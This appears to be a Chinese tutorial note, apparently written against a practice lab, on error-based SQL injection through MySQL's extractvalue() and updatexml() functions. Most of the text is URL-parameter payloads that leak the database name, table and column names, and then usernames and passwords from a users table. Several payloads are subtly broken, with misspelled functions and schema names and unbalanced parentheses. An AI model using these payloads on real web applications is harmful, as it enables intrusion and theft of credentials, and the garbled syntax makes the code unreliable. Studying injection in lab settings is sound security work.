目录
一.Extractvalue报错注入:
1.extractvalue(doc,'/book/author/surname')函数:extractvalue函数包含两个参数。
第一个参数doc XML文档对象名称,第二个参数'____' 路径。
2.extractvalue报错注入的实现方法:
extractvalue函数的作用是查询一个文件里的内容。
如果我们把第二个参数的路径拼写错误,它会查不到内容但不会报错。
select extractvalue(doc,'/book/titell')from xml;
但是我们将第二个参数的斜杠替换为另外的符号extractvalue(doc,'~book/author/surname')
selct extractvalue(doc,'~book/author/surname') from xml;
则会提示报错信息。 这时候我们在第二个参数的位置加入SQL语句,则会返回我们想要的信息。
例如:concat(1,2)的作用是将1,2两个位置的数据拼接起来,0x7e是’~‘的ascll码
select extractvalue(doc,concat(0x7e,(select database()))) from xml;
以上报错注入就可看到这个数据库的名称为security。
查询数据库里的表名:
?id=100'and 1=extractvalue(0x7e,(select group concat(table_name)from
information_schema.tables where table_schema=database())))--+
查询数据库里的列名'username'和'password':
?id=100'and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name)from
information_schema.columns where table_schema=database()and table_name='users')))--+
3.解决extractvalue()函数只能回显32个字符的方法:
使用substring()函数。
?id=100'and 1=extrctvalue(1,concat(0x7e,select substring
(group_concat(username,'~',password),25,30)from users)))--+
其中25,30表示从第25个字符开始再往后显示30个字符。
二.Updatexml报错注入:
1.updatexml(XLM_document,XPath_string,new_value)函数包含三个参数:
第一个参数:XLM_document是string格式,为XML文档对象名称
第二个参数:XPath_string是路径,XPath格式的字符串
第三个参数:new_value,string格式,替换查找到的符合条件的数据
2.updatexml报错原理:
正常句式:作用为更新xml文档里的内容
select updatexml(doc,'/book/auther/surname','1') from xml;
同extractvalue(),输入错误的第二个参数,即更改路径符号
select updatexml(doc,'~book/auther/surname','1') from xml;
使用updatexml报错注入查询数据库名称:
?id=1"and 1=updatexml(1,concat('~',(select database())),3)--+
使用updatexml报错注入查询数据库表名名称:
?id=1'and 1=updataxml(1,concat(0x7e,(select group_concat(table_name)from
informathion_schema.tables where table_schema=database())),3)--+
使用updatexml报错注入查询数据库列名称:
?id=1'and 1=updataxml(1,concat(0x7e,(select group_concat(column_name)from
informathion_schema.columns where table_schema=database() and table_name='users')),3)--+
使用updatexml报错注入查询数据库列名称:
?id=1'and 1=updatexml(1,concat(0x7e,(select group_concat(username,password) from user)),3)--+